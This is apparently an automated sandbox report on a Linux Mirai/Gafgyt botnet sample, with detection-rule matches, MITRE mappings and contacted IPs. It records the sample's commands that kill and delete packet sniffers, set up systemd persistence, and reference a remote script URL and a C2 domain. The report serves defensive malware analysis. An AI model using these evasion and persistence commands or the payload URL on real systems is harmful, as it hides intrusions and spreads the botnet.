Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 1638, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 6324, result: successful	Jump to behavior

Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal76.spre.evad.linELF@0/6@100/0

Source: /usr/libexec/gsd-rfkill (PID: 6324)	Directory: <invalid fd (9)>/..
Source: /usr/libexec/gsd-rfkill (PID: 6324)	Directory: <invalid fd (8)>/..
Source: /lib/systemd/systemd-hostnamed (PID: 6329)	Directory: <invalid fd (10)>/..

Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1582/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/3088/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/230/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/230/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/231/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/231/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/232/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/232/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1579/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/233/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/233/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1699/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1335/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1698/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1334/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1576/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/2302/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/236/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/236/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/237/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/237/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/910/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/910/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/912/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/912/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/2307/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/918/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/918/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/6247/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/6246/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1594/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1349/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/243/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/2/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/124/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/124/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/3/status	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	File opened: /proc/3/cmdline	Jump to behavior

Source: /tmp/x86_64.elf (PID: 6465)	Shell command executed: sh -c "systemctl daemon-reload"	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6472)	Shell command executed: sh -c "systemctl enable startup_command.service"	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6288)	Shell command executed: sh -c "systemctl daemon-reload"
Source: /tmp/x86_64.elf (PID: 6303)	Shell command executed: sh -c "systemctl enable startup_command.service"

Source: /tmp/x86_64.elf (PID: 6247)	Pkill executable: /usr/bin/pkill -> pkill tcpdump	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6248)	Pkill executable: /usr/bin/pkill -> pkill tshark	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6249)	Pkill executable: /usr/bin/pkill -> pkill wireshark	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6250)	Pkill executable: /usr/bin/pkill -> pkill dumpcap	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6251)	Pkill executable: /usr/bin/pkill -> pkill ettercap	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6252)	Pkill executable: /usr/bin/pkill -> pkill dsniff	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6253)	Pkill executable: /usr/bin/pkill -> pkill ngrep	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6254)	Pkill executable: /usr/bin/pkill -> pkill tcpflow	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6255)	Pkill executable: /usr/bin/pkill -> pkill windump	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6256)	Pkill executable: /usr/bin/pkill -> pkill netsniff-ng	Jump to behavior

Source: /tmp/x86_64.elf (PID: 6266)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/tcpdump	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6267)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/tshark	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6268)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/wireshark	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6269)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/dumpcap	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6270)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/ettercap	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6271)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/dsniff	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6272)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/ngrep	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6273)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/tcpflow	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6274)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/windump	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6275)	Rm executable: /usr/bin/rm -> rm -rf /usr/sbin/netsniff-ng	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6276)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/tcpdump	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6277)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/tshark	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6278)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/wireshark	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6279)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/dumpcap	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6280)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/ettercap	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6281)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/dsniff	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6282)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/ngrep	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6283)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/tcpflow	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6284)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/windump	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6285)	Rm executable: /usr/bin/rm -> rm -rf /usr/bin/netsniff-ng	Jump to behavior
Source: /usr/bin/dash (PID: 6224)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.GHPtGyr9eo /tmp/tmp.haNIH77T1p /tmp/tmp.ycnmguYVtd
Source: /usr/bin/dash (PID: 6225)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.GHPtGyr9eo /tmp/tmp.haNIH77T1p /tmp/tmp.ycnmguYVtd

Source: /bin/sh (PID: 6467)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 6473)	Systemctl executable: /usr/bin/systemctl -> systemctl enable startup_command.service	Jump to behavior
Source: /bin/sh (PID: 6290)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload
Source: /bin/sh (PID: 6304)	Systemctl executable: /usr/bin/systemctl -> systemctl enable startup_command.service

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/x86_64.elf (PID: 6223)

File: /tmp/x86_64.elf

Jump to behavior

Source: /usr/bin/pkill (PID: 6247)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6248)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6249)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6250)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6251)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6253)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6254)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6255)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6256)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Source: /lib/systemd/systemd-hostnamed (PID: 6329)

Queries kernel information via 'uname':

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Disable or Modify Tools	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 Hidden Files and Directories	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
x86_64.elf	34%	Virustotal		Browse
x86_64.elf	42%	ReversingLabs	Linux.Backdoor.Mirai
x86_64.elf	100%	Avira	EXP/ELF.Mirai.W
x86_64.elf	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tcpdown.su	45.200.149.95	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.18.192/auto.sh	startup_command.service.78.dr	false		high
http://154.216.18.192/auto.sh;	x86_64.elf, startup_command.service.17.dr, startup_command.service.78.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.171.230.55	unknown	United States	16509	AMAZON-02US	false
23.94.37.42	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.95	tcpdown.su	Seychelles	328608	Africa-on-Cloud-ASZA	false
23.94.242.130	unknown	United States	36352	AS-COLOCROSSINGUS	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
45.200.149.167	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
45.200.149.96	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
104.168.33.8	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.249	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.171.230.55	socat.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	emips.elf	Get hash	malicious	Unknown	Browse
	i.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	i.elf	Get hash	malicious	Unknown	Browse
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse
	Aqua.sh4.elf	Get hash	malicious	Unknown	Browse
23.94.37.42	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
45.200.149.95	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
23.94.242.130	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

